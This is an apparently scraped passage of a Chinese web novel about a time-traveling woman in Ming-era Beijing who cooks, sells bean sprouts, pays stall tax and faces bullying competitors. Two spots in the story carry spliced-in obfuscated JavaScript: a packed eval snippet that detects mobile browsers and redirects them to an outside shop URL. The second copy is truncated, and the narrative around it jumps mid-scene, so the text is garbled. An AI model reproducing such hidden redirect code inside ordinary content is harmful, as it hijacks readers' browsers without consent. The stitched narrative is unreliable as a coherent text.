作为一个生活在二十一世纪的人，姜至喜也是看过小说的，考虑菜园前后的变化，在排除各种科学合理的规则后，她逐渐联想到了那些关于“灵田”和“随身空间”的设定。 在那些设定中，随身空间会根据主角的行为不断升级，仔细算算，这段时间，她从菜园里摘过两次小葱、拿了六颗鸡子…… “难道是要我多吃里面产出的食材才能升级？” 姜至喜自言自语。 这个问题是暂时还没有办法证明，但好歹给了她一个方向，想到自己的二十多种蔬菜，姜至喜瞬间觉得斗志满满。 今晚本来是打算做豆芽炒肉配死面烙饼，但如今有了新蔬菜，她临时改变了主意。 从地里拔几根小葱，又割了一大捆的韭菜，用韭菜、粉丝、炒鸡子调馅。 韭菜是窄叶紫根韭菜，辛辣味足，洗净后晾干一段时间，再切段，加入了一点点香油，锁住营养。没有蚝油，便用盐和酱油调味，盐需要最后放，这样可以避免韭菜出水。 姜至喜转身点火时，顺手把粉丝泡上。 铁锅太重，没办法抬起来，索性老百姓有自己的办法。高粱穗绑的刷帚，沿着锅边往外扫，等待剩下的水分慢慢蒸发，底部微微冒出白烟，就是下油的好时机。 打散的鸡子黄沫，趁着正滚的热油倾入，“滋啦”一声欢响，瞬间像云朵似的膨胀开来。 可没等再膨胀，一双“无情”的铁手已经伸过来，将它快速拨弄开，金黄的云朵转为柔嫩的奶黄，油温高，蛋碎熟得快，盛出来时还蓬松地冒着热气。 所有配菜准备好，接下来开始调馅。 姜至喜动作有条不紊，把韭菜段、粉丝碎和炒鸡子掺均匀，抓一把虾皮撒在最上面——后者是提鲜的窍门。 香味扑面而来，惹得人口水泛滥。 厨子不偷，五谷不收。 闻着这般人间美味，姜至喜没忍住，提前“偷”尝了一口。 韭菜的鲜，粉丝的滑，鸡蛋的嫩，在嘴里迸发，简单的调料勾勒，不仅没有被遮掩，反而激发出原本的滋味，她甚至觉得光这馅料，自己就能空口吃下两大碗饭！ 于是接下来的和面环节更加积极。水加面，面加水，两次就搅拌成圆滚滚的团，乍一看，面光，盆光，手光。 放置醒发，两刻钟后，面筋已经分外松弛，轻轻一拉就能延展出形状。 将醒好的面团切成大小相同的剂子，姜至喜擀面手艺是从小跟着奶奶包饺子练出来的，一只手按着擀面杖，另外一只手捏住面剂子边缘，转着圈旋转，面剂子就变成了薄薄的面皮。 因为是自家吃，放陷的时候一点儿也不吝啬，以至于面皮对折成月牙形时，月亮胖嘟嘟的，仿佛年画中的娃娃似的。 见状，姜至喜有些汗颜。 谁能想到以前吃带馅的面食，她最爱外面的那层皮呢？ 天杀的古代！ 除了韭菜盒子，她还额外炒了一道黄豆芽炒肉。 刚发的黄豆芽清脆鲜嫩，黄澄澄、金灿灿，没什么花哨的技术，只浓油酱赤一通翻炒，黄豆沾了油花，多余的水汽融入油水，也是锅气十足，散发着让人食指大动的吸引力。 而且不知道是不是错觉，姜至喜总觉得从菜园拿出来的菜，味道格外香。 翻炒，出锅，摆盘。 说她矫情也好，讲究也罢，譬如后世的某些菜，人人都夸美味，可姜至喜就是提不起食欲。 在她看来，一道合格的美食，必定要色香味俱全。“食不厌精，脍不厌细”，否则那些酒楼食肆何必费心摆盘？又何必花重金聘请刀工了得的师傅？ 姜至喜掐着腰，兀自欣赏了一番自己的劳动成果，然后扭头朝着外面喊了一声，下一息，珍姐儿便屁颠屁颠跑进来端菜。 窗户漏风，厨房的香气早顺着飘了出去，她在外头不知吸了多少回鼻子，心里一直猜测二姐今天做的什么菜。 不管是什么，有之前的美食“攻略”，姜洪和珍姐儿早就对姜至喜的厨艺折服，饭菜刚端上桌，便有四只手伸过去。 韭菜盒子在铁锅里烙得金黄酥脆，表皮微微鼓起，绿色的汁水渗透面饼，油亮亮的。 时下爱吃韭，认为韭，荤物也，味道辛烈，生吃舌尖香辣。 不过做成韭菜盒子后，那种辣味便变成了鲜。 珍姐儿人小，嘴巴可不小，随着“咔嚓”一声酥脆的动静，熥到酥脆的饼皮应声绽开，从外到里分出层层叠叠的酥壳。 最外层是诱人的焦黄，往里酥皮颜色逐渐递减，呈现出一种漂亮的美拉德反应。 因为用的油不多，饼皮酥而不硬，焦香中透着一股顺畅的油润，咬破酥皮的刹那，尚未触碰到馅料，草绿色的汁水便争先恐后涌出来，烫得珍姐儿斯哈斯哈直吸气。 即便如此，也舍不吐出来，因为她已经香迷糊了！ 该怎么形容呢？ 酥，鲜，香，润。 鲜的是韭，叶片纤细的“长生菜”，本就水分丰富，经过油的润责和热气的熏染，褪去辛辣，变得清爽无比。 香的是炒鸡子。 作为韭菜盒子里唯一的半荤食材，鸡子吸足了油脂，口感蓬松绵软。 咀嚼的时候，还有粉粉的糯感，同时，“润”粉条的加入，又让这种味道变得层次丰富。 软滑中带着弹劲，本是无味，却吸饱了韭菜和炒鸡子的汤汁，摇身一变，竟比其他二者更为鲜美醇厚。 珍姐儿吃的头都不抬，直到一整个韭菜盒子下去，腹中的“馋虫”终于稍稍安稳下来。 她打了个饱嗝，抬起头，这才注意到桌子上的另外一道菜。 呀，是她亲手发出来的豆芽！ 这些豆芽菜可是珍姐儿的心头宝，一天少说要去看七八回。可她知道豆芽是家里用来卖的，即便再嘴馋，也从未开口讨要。 没想到二姐居然悄悄留下了一盆。 珍姐儿迫不及待夹一筷子豆芽炒肉。 黄豆脆嫩，圆鼓鼓的立在尖上，嫩黄可爱，腌制过的肉咸香十足，一筷子下去，满满的黄豆芽中夹着两片肉片，可以同时吃到两种味道。 简直太好吃啦！ 韭菜盒子好吃，豆芽炒肉也好吃！ 二姐怎么这么厉害呢？ 珍姐儿从没想过，自己会因为东西太好吃而陷入两难。是继续享用韭菜盒子，还是赶紧再夹几筷子豆芽炒肉？ 她正想抬头问问别人，却瞧见桌子对面，大哥正不声不响地拿起一张韭菜盒子，往里面卷了满满一筷子豆芽菜。 再数数盘里——大哥竟然已经吃掉三个了！ 这下，珍姐儿哪还顾得上纠结，立刻投身抢食大军里去。 一顿饭，方桌上谁都没有说话，只顾埋头干饭，最后竟是吃的半点不剩，连豆芽菜里的汤汁都被姜洪用韭菜盒子擓去吃了。 饭后，姜洪和珍姐儿自发收拾桌子洗碗，再把新买的黄豆泡起来，准备发豆芽菜。 姜至喜反倒清闲下来，懒洋洋坐在窗户边消食，晌午的太阳晒得人昏昏欲睡，偶有几片云朵，很快又被风吹散。 她眯着眼小憩，心中却盘算着接下来的事情。 百文利润看起来虽多，但四日一出摊，摊到每日只有二十多文，按照每个人一天吃一斤米算，勉强够嚼用，若想过的好一点，需要想点其他办法。 所以摊子要继续摆，前期仍旧卖黄豆芽，适量加点儿菜园里的生菜，后续攒够本钱，她还是想摆摊卖吃食。 再其次那方秘密的小菜园同样让人心中记挂，既然得知菜园能够扩大，她得测试一下自己的猜测是否准确。 正思考着，陈氏拿着一个包裹从外面走进来：“喜姐儿回来了？” “林婶。” 姜至喜从屋里出来：“您怎么过来了。” “今日拾掇家里时，翻出几件柳姐儿的旧衣服，柳姐儿和珍姐儿身形相当，想着浪费了，想拿过来问问你们要不要。” 陈氏和林总旗只有一个女儿，唤作柳姐儿，因为绣工好去了绣坊做绣娘。 再看那袄子，说是旧衣，实际没穿几次：“这几日天气越发冷，不比平时，要是穿薄了容易得风寒，你要是不愿意我就拿回去。”说这话的时候，陈氏有些小心翼翼。 姜至喜察觉到了，立刻露出爽快的笑脸：“多谢林婶，我今日还系着珍姐儿的衣服不顶用了，有了您送来的衣裳，真是解了燃眉之急。” 陈氏见她面上没有半丝勉强，心里悄悄松了口气。 这喜姐儿之前性子孤僻，不爱说话，而且总觉得旁人的关心是施舍，以至于她和丈夫想要接济兄妹几个，都没有办法。 对此，姜至喜也无法评价。 原身就像墙角的一株野草，无声无息地生长，连被欺负了都只沉默，那些军户来闹事时，她连头都不敢抬，只会把妹妹们紧紧搂在怀里。 可就是这样一个胆小怯懦的丫头，竟会在深更半夜独自出门，最后被人发现晕倒在河边，后脑勺磕碰出一个大洞。 怎么想都觉得不太对劲。 陈氏忽然想起一事：“对了，你们那个摊子可有去宣课司交课钱？” 闻言， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991806|193744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜至喜怔了怔，居然被问住了！ 后世的流动小摊数不胜数，许多城市鼓励灵活就业，甚至专门放开“外摆经济”，更不用农村老家，大家直接带着东西往路边一站，就是一个临时的摊位。 以至于她根本没有想起来在古代摆摊是需要是向官府缴纳摊位税的！ 姜至喜惊出了一身冷汗，连忙向陈氏打听相关事宜，奈何陈氏也不甚了解：“原先交课钱的地方倒多，咱们皇帝上位后，把那几个地方全部归到了一处，也就是宣课司，就在崇文门附近，你明日过去问问。” 姜至喜脑海中思考了会儿，崇文门好像在正阳门右侧，离他们摆摊的位置有些远，步行过去大概要半个多时辰，看来明日得早些过去。 见陈氏要离开，回过神的姜至喜叫住对方，回厨房装了三个韭菜盒子。 午间她做的有些多，饶是兄妹三人再放开吃也剩下了些：“这是侄女烙的韭菜盒子，您拿回去和林叔添个吃食。” 陈氏想要拒绝，姜至喜仿佛能察觉到她的想法似的，抢先道：“如果您不要，侄女也不好意思拿您的衣服了。” 话说到这个地步，陈氏只能收下。 至于韭菜的来源，她只以为是和豆芽菜一起发的，感慨喜姐儿有这门手艺，姜家之后总会越过越好的。 而姜洪和珍姐儿，二人早被姜至喜这些日子变出的新鲜物事晃花了眼，如今多出一把韭菜又算什么？ 于是乎，本应该提心吊胆的蹊跷，就这样水灵灵的成为最不值得一提的小事。 不提陈氏带回去韭菜盒子，让林家人胃口大开，另一边，姜至喜不是个喜欢拖延的人。 次日一大早，她便出发去宣课司解决摊位的问题。 姜洪本来想同她一起，奈何卫所那边突传命令，组织幼兵集体操练。 在询问得知只是普通训练，并非有什么紧急战事后，姜至喜松了口气，这才独自离开。 事实上，她自己一个人反而更如鱼得水。 崇文门位于内城西南偏下，又称税门好酒门，每日都有无数商人摊贩经此门进出，姜至喜一路走走停停，足足行了半个时辰才到达，体弱的身子已是汗流浃背，气喘吁吁。 原以为还要费些功夫找寻，不料刚至门前，就见一条长龙似的队伍蜿蜒排开。 不远处，有穿着青色衣袍的皂隶大声维持纪律：“纳课的往左边走，动作快点，别让爷爷发现谁插队，否则棍子伺候！” 见状，姜至喜连忙跟着其他人往左走。 她第一次来，不知道做什么，只能悄悄观察其他人。 又见五步之外，两个皂隶正坐在条案，一个着青袄的中年汉子弯腰屈膝地上前，其中一个皂隶问：“卖什么的？在哪摆摊？” 汉子答：“小的卖鸡子，在崇文门大街摆摊。” 皂吏颔首：“小买卖按月纳钞八十文，折银一钱，要是每日卖不到百文，季头来报了能免些。” 汉子免不得叠声称是，而后恭恭敬敬数出铜板交上。 等收了钱，另外一个皂隶便在簿册上记下，又撕了张窄窄的“市易由帖”，蘸了朱砂按上个方印，“拿着这个，丢了补起来麻烦。” “好好好。” 条理清晰，步骤简单，姜至喜看了会儿就明白了大概。 “下一个。” “小女在大都角头那边摆摊，卖豆芽菜，这是八十文铜板。” 皂隶刚说完，耳边就传来一个是清秀的声音，他诧异抬头，见一个年轻漂亮的小娘子站在面前，对方眉眼弯弯：“麻烦大人了。” 皂隶在此接待了那么多商贩，那些人见他无不是耗子见了狸猫，这还是第一次有人不怕他。 脸色放缓了些：“只是个小吏，称不上大人，这是你的帖子，日后出摊带身上，巡检要看的。” 姜至喜再次道谢。 帖子拿到手，她没有着急查看，而是先离开宣课司，等到了大街上，才再次拿出来。 面积倒是不大，只有一个半巴掌左右，材质是耐磨的桑皮纸，姜至喜仔细瞧上面的内容。 桑皮纸上方加盖朱红色“崇文门宣课司”印文，字体为庄重的小篆。 正文则以毛笔手写，首行写着纳税户姜喜，其次便是写明货品种类、经营地点及纳税额及方式。 末行标注纳税期限。 此外，姜至喜还注意到帖子左下角打着一小孔，若第一次见，她肯定想不到用处，可她刚从宣课司出来，早在许多商贩腰间瞥见过，分明是“钥匙扣”类似的功效。 她看了会儿，非常自然地用麻绳穿起来挂在腰间，主打一个入乡随俗。 这边麻绳刚刚系完，街口骤然传来急促的马蹄声，紧接着便是一声清越的喝令。 “锦衣卫办事，闲杂人等速速闪避！” 8. 第 8 章 第8章 锦衣卫的名头可是声名赫赫。 自明成祖设立以来，这身着飞鱼服、腰佩绣春刀的缇骑便成了悬在百官头顶的利剑。他们监察朝臣，缉捕谳狱，遍布天下的暗桩耳目，将京城内外编织成一张无形巨网。 无论是朱门显贵还是市井黎庶，但凡有片言只语不当，或行止有差池，转天就能传到御前。 虽说当今圣上脾气温和，市井百姓议论皇家轶事已成常态，但这锦衣卫的名号还是让人避之不及。 姜至喜连忙往旁边挪几步，躲到屋檐下。 马匹飞驰而过，掀起满天尘沙，呛得人捂着口鼻打喷嚏。 姜至喜没有戴面巾，更是熏了个面黑如烟囱，她胡乱用袖子擦拭，忍不住暗道一声倒霉，两次出门都遇骑马，下次定要长记性不能在路中间停留！ “大人。” 五城兵马司衙门前，数匹高头骏马踏尘而至。衙门里的指挥使闻讯，慌忙带着一众属官迎出来，额头已沁出细汗。 “卑职参见大人！不知大人亲临有何钧谕？” 为首的飞鱼服锦衣卫掏出驾帖：“北镇抚司奉旨拿人，尔等即刻协理。” 兵马司的指挥使抬起头，铜铸驾帖在阳光折射出的刺眼金光，彰显着其权威性，心中更是惊惴，他小心翼翼询问：“敢问大人…所拿是何人？” 那锦衣卫不答话，而是侧头看向右后方的同僚，兵马司的人跟着看过去，这一看倒有些惊讶。 锦衣卫选拔骁勇，多为二十多岁的青壮，但这位大人的年岁却瞧着实在有些小，而且长得也过份“精致”。 一张皮子白的和姑娘家似的，偏偏做出不苟言笑的模样，绷着脸，不仅不添威严，反而像是哪个世家硬塞进来历练的公子哥。 队伍中不知是谁，极轻地“嗤”了一声。 兵马司指挥使也皱了皱眉。 他向来不喜同这些二代打交道，每次碰上都少不得虚与委蛇，惹一身麻烦，正要开口说些什么，却见那马上的少年眼皮微抬。 下一瞬，破空声骤响！ 一道银光倏然擦过人群，以凌厉的势态，狠狠贯穿发笑那人的小腿，伴随着头皮发麻的惨叫，刀头凿入青砖三寸，只剩刀柄立于空中，犹自颤动嗡鸣。 “抱歉，有苍蝇。” 少年语气平静，仿佛刚才扔的不是利刃，而是树叶。 然而，寒冬腊月哪来的苍蝇？ 谁都听得出这是借口，却无人敢出声。 兵马司指挥使脸皮抖动，突然大步上前拔起那柄地上的绣春刀，才发现贯穿的不是小腿，仅仅是裤子而已。 他狠狠瞪了属下一眼，后者已是面如土色，冷汗淋漓。 完了，一切都完了。 果然，兵马司指挥使不再看他，转身捧着刀子，恭敬地递还给马上的少年。 “手下人失态，冲撞了大人，卑职在此赔罪了。” 沈秀环抱着双臂，四目相对的那一刻，莫名的，指挥使脊背绷紧，仿佛被什么猛兽盯上。 直到身后的长官低声咳嗽，少年才百无聊赖地撇撇嘴，开口道：“七日前，北镇抚司拿获一名鞑靼探子，经拷问，此人供出城中尚有其同伙三人。” 听到竟与鞑靼有关，指挥使再顾不得其他，神色一凛。他们兵马司专司缉盗、防火、肃清街道诸务，如今却让外族探子溜进京城，实乃重大失误。 他急忙抱拳道：“三位大人放心，我们南城兵马司定全力协助大人将那探子缉拿归案！” / 领了官府核发的由贴，姜家的豆芽摊总算有了正经“名分”。 四日后，新的豆芽发好，姜至喜和大哥姜洪再次推着独轮车，去之前的街道摆摊。 “豆腐，新鲜的豆腐，三文钱一块，五文钱两块。” “得勒，一共一斤半，大姐给我四文便可。” 王大笑容灿烂地送走客人，心头忍不住暗喜，没想到这个办法还挺管用，这几日赚的比从前要好。 喜滋滋地数着手中的铜板，一扭头，对上姜至喜似笑非笑的目光，王大笑容突然僵住，半晌，才颇为不自在地打招呼：“你，你们来了。” 姜至喜仿若没有察觉到王大的尴尬，转身和姜洪收拾摊位。 越是这样，王大越是头皮发麻。 毕竟是他先背后偷师在先，如今被当事人撞见，自然心虚不已。 装作不经意地朝旁边瞥去，正好看见那位一脸憨厚的小哥单手稳住独轮车，两条胳膊一左一右环住木桶，腰背一挺就将两桶豆芽稳稳当当地卸了下来。 嚯！好大的力气！ 王大在原地转了两圈，终究没忍住，凑上前讪讪道：“那个，上回见你们吆喝，我也跟着学了学，没想到真招来不少客，你们兄妹真是厉害啊。” 他竖起大拇指。 姜至喜把木桶摆好，又在摊位前铺开一块洗得发白的粗麻布，放上从菜园里割出来的生菜，不敢多带，怕惹人起疑。 听到王大的话，抬起头：“哪里谈得上厉害，只是想着出门买东西，谁不爱看个笑脸，心情好了，大家肯定愿意看看你的货物。” 这话倒是不假，王大暗自点了点头，不说旁的，只是眼前的兄妹，整日笑眯眯的，让他看着便觉得心情愉悦。 摊子刚支起来不久，就有熟悉的面孔出现。 “哎哟，你们可算是来了！” 第一次买豆芽菜的婆子瞧见姜家兄妹，连忙走过来：“前几日炒了你家的豆芽，脆生生的，连我那挑嘴的孙子都多扒了半碗饭！今儿再给我称两斤！” 更解气的是，儿子儿媳同样馋得不行，事后，儿媳妇还主动端了一碗红糖鸡子到她屋里，好脾气让她下次多买点儿豆芽菜。 姜至喜抿唇浅笑，手上麻利拿起称，一边称豆芽一边闲聊：“还是您会吃，豆芽菜吃的就是那个锅气，对了，今日还有生菜，数量有些少，姐姐要的话给您便宜点儿，五文一把？回去醋蒜生拌，或者用油清炒，都是一道不错的健康下菜饭呢。” 大娘见摆着的生菜绿油油，脆生生的，菜叶上面还沾着点儿露水，如玉如翠，只看着便觉口中生津，点点头：“旁人这样说我不信，但你们家我是相信的，来一把吧。” 如今园户多有固定的供货渠道，亦或者去大集市专门的摊位售卖，对于内城某些区域的百姓来说并不方便，姜至喜的摊位算是解决了这一问题。 大娘走后，陆续又有几个回头客找过来。 酒香不怕巷子深。 姜至喜发的豆芽格外精心，根部白净，豆子嫩黄饱满，只要不是味觉失灵，肯定都能吃出来差别。 “俺要一斤豆芽菜。” “我娘子说大都角头有卖豆芽菜的，是不是你家？给我称三斤。” “呦，今天还有生菜呢？那再捎上一把吧。 姜洪忙里忙外负责收钱：“别急别急，每个人都有，先称你的，称完你的称你的，称完你的再称你的……” 当真是古代版“豆芽主理人”。 事实上，主理人的工作做的不错，晌午刚过，今日带来的八桶豆芽菜再次卖光！ 见状，王大已经羡慕到不知道说什么了。 不过羡慕归羡慕，倒不会像那些眼红的小人似的使坏，隔壁生意好，连带着他的豆腐生意也好起来。 豆芽炖豆腐也好吃哩！ 甚至隔日有人想要到自己旁边摆摊，他还帮着姜家兄妹占位呢！ 随着晚上发豆芽，白天出门卖豆芽，摆摊生意逐渐安稳下来。 后面卫所忙起来，姜洪只白天接送，姜至喜便一个人摆摊。 索性从外地辞职回老家之后，她自己也经常摆摊。虽然没有人帮忙，但并未有太大影响。没多久，附近的百姓都知道，大都角头有个卖豆芽的豆芽西施，人美嘴甜，想吃绿叶菜时都会专门来找她买。 这中间，姜至喜还接到了一个大单子。 附近一个食肆的掌柜找过来，看过豆芽菜的品质后，当场签订契约，订下每隔四日向他们食肆供应二十斤黄豆芽。 饶是姜至喜知道如今发豆芽的数量已是极限，也稍稍的遗憾了下。 有了固定客户，每发一次豆芽，能卖出三十斤到五十斤，加上姜至喜时不时从随身菜园里拿出来的生菜和韭菜，刨除成本，每日进账大概五十到六十文不等。 不到一个月，就攒下了一两二钱。 “这下二姐做小食的本钱就有了！” 珍姐儿没有忘记姜至喜当初说的话，二姐会做什么呢，是鸡子水饼，还是炒豆芽？ 小姑娘眼睛亮晶晶。 姜至喜同样期待。 豆芽菜只是跳板，她并未打算领着姜家人一辈子做园户营生，她的初级目标是在这繁华的大明京师里支起一个食摊。 “等把新一茬豆芽卖完，往后咱们只需备食肆的货就好，余下的功夫，正好用来张罗食摊的营生。” 从屯田干活回来的姜洪倒了一杯凉白开咕噜噜下肚，闻言点点头。 他知道自己不如喜姐儿聪明，所以喜姐儿说什么他就做什么，瓮声瓮气道：“出力气的活全部交给我。” 珍姐儿举起手：“还有我，我可以帮大哥和二姐打下手！还能帮忙照顾小妹！” “好，”姜至喜仰起笑脸，“到时候各司其职，生意肯定会大爆！” 一两银子不多，换成铜板沉甸甸的，赚的都是辛苦钱，一部分装进陶罐，放在床底的老鼠洞里藏起来。 剩下一部分，姜至喜留下来，用作日常嚼用。 没办法，现在这个“家”里实在太穷了，什么都缺。 上次买的粮食已经吃完，卖完豆芽菜后，兄妹二人去粮铺买入新粮食，黄豆、麦面，再掺点粗麦，粮铺不远处便是酱铺，又顺势把家里的油盐酱醋都补上。 之前陈氏送了一身棉衣，虽是旧物，但多少能抵御风寒，所以暂时不用再买新的，柴薪和棉被却是非买不可的。 眼瞅着天气一天冷过一天，姜至喜每晚睡觉时总要搂着珍姐儿。 这才察觉，小姑娘的脚丫冻得像冰块似的，怎么捂都捂不热，前儿夜里还咳了两声，吓得姜至喜赶紧煮了姜汤给她灌下去。 这要是冻出病来，抓药的钱可比柴火贵多了。 姜洪对此毫无异议。 这些钱本就是喜姐儿挣的，自然由喜姐儿做主，不过他也提出自己的建议：“我认识一个卖柴的，价钱比旁处便宜。” 先前送水时，姜洪几乎踏遍了内城的每个角落，结识了不少贩夫走卒和帮闲，连哪条巷子有几口井都记得清楚。 “好，那这件事情就交给大哥了！” 至于棉被，则是去绸布铺子，扯了三匹半的粗布和十二斤重的棉花。 称重的时候，姜至喜想起一个笑话。 问，一斤的铁球和一斤的棉花，谁更重一点？ 亲手掂量时没有差别，可一旦放到车子上，棉花瞬间占据了大半空间，连姜洪都不免俗地感叹：“真多啊！” 如此看来，体积的大小会左右人们对重量的感知。 就像发面面包和死面馒头，同样的用料，前者往往显得分量十足。 姜至喜突然心念一动，这或许能成为一种摆摊策略，不过家中没有面包窑，做不了面包，她只好按耐下冲动，等以后有机会再试一试。 回归眼下。 十二斤的棉花，远远望去，像托着一朵蓬松的云朵山，分量足够缝两条棉被。 原身会刺绣，她自己完全一窍不通，想着回去拜托一下陈氏。时下妇人大多会些针线活，小到手帕、膝裤，大到衣裳、棉被，甚至新娘子的喜服，大多都是亲手做的。找人帮忙，给些许的酬谢，一般人都不会拒绝。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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过来接人的姜洪一直未出声打扰二妹，这会儿尘埃落定，终于忍不住好奇，开口询问。 姜至喜没什么可隐瞒的：“米糊糊营养有限，这羊奶买来给小妹喝。” 姜洪表情一言难尽：“羊奶膻腥，难以下咽，而且会让人腹泻不止。” 别问他怎么知道的，小时不懂事，肚子又饿得很，看到有羊在那喂小羊，姜洪曾偷偷和小羊抢过奶喝。 结果那味难喝便罢了，还让他蹲了许久茅厕。 姜至喜挑了挑眉，心想姜洪这情况明显是乳糖不耐受：“羊奶味道的确比牛奶要重些，不过只要处理得当，不失为美味。” 她这样说，姜洪仍旧想象不出羊奶要如何美味。 喜姐儿的手艺是从集市大厨那儿偷学来的，精通一两样便是好运，总不至于样样都拿的出手。 又暗下决定，大不了到时候多跑几趟茅坑，也得给喜姐儿捧场子。 因着这次采买的物件不少，回到南鼓巷时，天色已近昏黑。 暮色沉沉，低矮的屋檐在巷子里投下歪斜的阴影，远处偶尔传来几声犬吠。 兄妹二人刚拐进巷口，墙根阴影里突然晃出三个人影。 “哟，这不是姜洪吗。” 为首军户一脚蹬在独轮车上，态度嚣张至极，“稀奇啊，连房子都护不住的人，如今又是粮食又是衲布的，莫不是偷钱了？” 看到来人，姜洪顿时怒了：“薛三，放你娘的屁！” 被叫做薛三的军户忍不住哈哈大笑，这姜家小子空有一身力气，人又蠢又笨。他朝着身后人使了个眼色：“哥几个早晨丢了个钱袋子，这胡同里就属你们兄妹起的最早，不会是藏起来吧？” 旁边的瘦高个嬉笑着就要伸手去掀盖布。 如果说姜至喜之前不认识对方，可对方话中的“房子”，立刻让她认出这些军户是侵占姜家房屋之人。 眼看对方的手就要碰到车子，她突然开口：“大哥，车上放着我们家祖传的羊脂玉，值二百两银子，也不知道丢没丢，正好巡街的大人们过来了，不如你请他们帮着找找？” 空气骤然一静。 瘦子的手僵在半空，收也不是，落也不是。 明眼人都知道姜至喜在撒谎，姜家穷到院墙都只有一半，哪来的祖传羊脂玉？ 但同样的，他们的借口也站不住脚。 薛三阴鸷地盯着姜至喜看了半晌，想到什么，似笑非笑：“日子还长，咱们走着瞧。” 待那三人身影消失在暗处，姜洪仍攥着车把，气愤不已：“他们来这里干什么？” 姜至喜摇了摇头，没有说话。 心里却知道这个事情没完。 他们这些日子推着车子进进出出，只要稍加打听，就能打听出来在做什么。豆芽菜利润高，姜家没有大人撑着，几个孩子突然有了进项，难免惹人眼红。 何况薛三几人既然能做出侵占良屋的事情，如今断然不会单纯冷嘲热讽。 接下来的几天，兄妹俩照旧泡豆子、发豆芽，只是夜里听到窗户外的动静，姜洪总是偷偷起身出去瞅两眼，姜至喜发现后没有戳穿，而是闭上眼睛继续装睡。 等新一批豆芽长得白白胖胖，已经是三日后。 这天清晨，他们照常推车出摊，刚到街口，豆腐摊的王大满便满脸着急地迎上来：“哎哟，你们怎么才来！” “怎么了？” 王大张张嘴，最后叹了口气：“你们还是自己看吧。” 三人走到原先的地方，却见隔着一条街，对面不知何时也摆起一个豆芽菜的摊子。 薛三几人正翘着二郎坐在石头上，悠闲地拿着草杆剔牙，看到他们，呸的一口吐掉草杆，放大声音吆喝：“豆芽菜，一斤只需要六文钱！” 9. 第 9 章 第9章 众所周知，姜家兄妹的豆芽菜卖七文一斤，薛三卖六文，比他们少了一文，摆明了是故意作对。 姜洪气的脸色涨红，放下推车便过去与之争论：“你们分明是学我们！” 薛三挖了挖耳朵，嗤笑：“这豆芽菜写你姜洪的名字了？凭什么你能卖豆芽，我就卖不得！” “就是！”旁边跟班帮腔道，“能发豆芽是我们的本事，倒是你一个住窝棚的，哪学来这手艺的？” 姜洪本就不善言辞，被这一通抢白，急得额头沁出细密的汗珠，结结巴巴说不出完整话来。那副模样，倒真像是被人戳中了痛处似的。 “大哥。” 姜至喜轻轻拉了拉姜洪的衣袖，压低声音道：“先把豆芽搬下来要紧，你今日不还要去卫所那边？等会儿这里就交给我好了。” 姜洪果断摇了摇头。 薛三那伙人还在旁边虎视眈眈，他怎么能放心把妹妹一个人留在这里？但到底收了气火，弯腰开始搬那几筐水灵灵的豆芽。 因着这段时间的经营，南街百姓都知道这一片有卖豆芽菜的商贩，时不时就要过来走一遭。 可今日，姜家摊子的生意却不怎么好。 每当有人停在他们摊子前，对面的薛三几人便会大声吆喝。别看只有一文钱，对于普通百姓来说可不少了，两处豆芽摊摆在眼前，百姓又不傻，当然毫不犹豫买便宜的。 “六文钱，豆芽菜只要六文钱！” “绝对新鲜的豆芽，甜水发芽，吃起来又甜又爽口！” 看到有人往姜家兄妹摊子去，薛三立刻抓了把豆芽凑过来：“哎哟，街坊们可是瞧仔细了，都是一样的豆芽，多花那一文钱是能长肉还是怎么的。” 那妇人果然犹豫地收回了手，姜洪连忙解释：“大娘，我们家豆芽都是今早刚发好的，您看这芽瓣……” 他长得人高马大，声音因为着急难免高了些，那妇人唬了一跳，脚步后退：“你这小伙子说话咋这么冲！” 薛三趁机大声嚷嚷：“哎哟喂，不买他们家豆芽还要凶人呐，街坊们都来看看，哪有这样做生意的！” 人群指指点点，姜洪不知所措地站在原地，整个人憋屈又发堵。 更令人烦闷的是接下来客人的流失。 尽管薛三他们的豆芽菜不如姜至喜的新鲜，有些豆子的颜色还发红，但架不住便宜啊——横竖都是豆芽，吃进肚子里不都一样？ 倒是老婆子仍旧选择姜至喜的摊子。 看着那些争抢的人，嫌弃地撇撇嘴：“我可瞧见了，那边的豆芽一点儿都不新鲜，豆子干瘪瘪的，肯定不够你说的那什么营……” 姜至喜：“营养？” “对对对！” 说完，老婆子又拍拍小姑娘的手，宽慰道：“你放心，我只认你家的豆芽！” 直让姜至喜感动又哭笑不得。 想了想，干脆笑着应道：“既如此，姐姐明日再来时，我送您一份咱们新做的吃食尝尝鲜。” “你们要添卖吃食了？！”老婆子眼睛一亮，嗓门控制不住拔高了些，随后又赶紧捂住嘴，小心往对面看了一眼。 见薛三那边没有动静，她才松了口气，压低声音道：“炒豆芽不错，你上回教我的那个豆芽汤，热乎乎的，肯定也好卖。” 姜至喜并未细说自己卖的不是豆芽：“一直就有这个打算，原本想缓几天，如今看这光景，倒要提前一两日了。” “提前一两日夜没什么不好，咱们这边邻着顺天府和开元寺，吃食生意繁盛，做这个保准错不了。” “巧了，英雄所见略同。” 二人相视一笑，老婆子热络地说了几句“定来捧场”的话，才揣着刚买的豆芽慢悠悠离开。 之后，又陆续有几个熟悉的老主顾过来，大多都是对豆芽新鲜有要求的。 可像这般认准摊位的人终究是少数。 半上午过去了，姜至喜的摊子冷冷清清，只卖出去五斤豆芽。 对面却截然不同，客人络绎不绝，踩在姜至喜的生意上，把带来的豆芽卖出了一大半。 薛三看着门可罗雀的摊子，越发得意，故意扬高声音·：“今天带了四十斤豆芽，兄弟们加把劲儿！卖完了，我请你们喝酒！” “大哥放心，包在咱们身上！” “就是！谁不挑便宜的买？傻子才当冤大头呢！” “哈哈，别到时候有人家的豆芽烂在桶里，那可就好笑咯！” 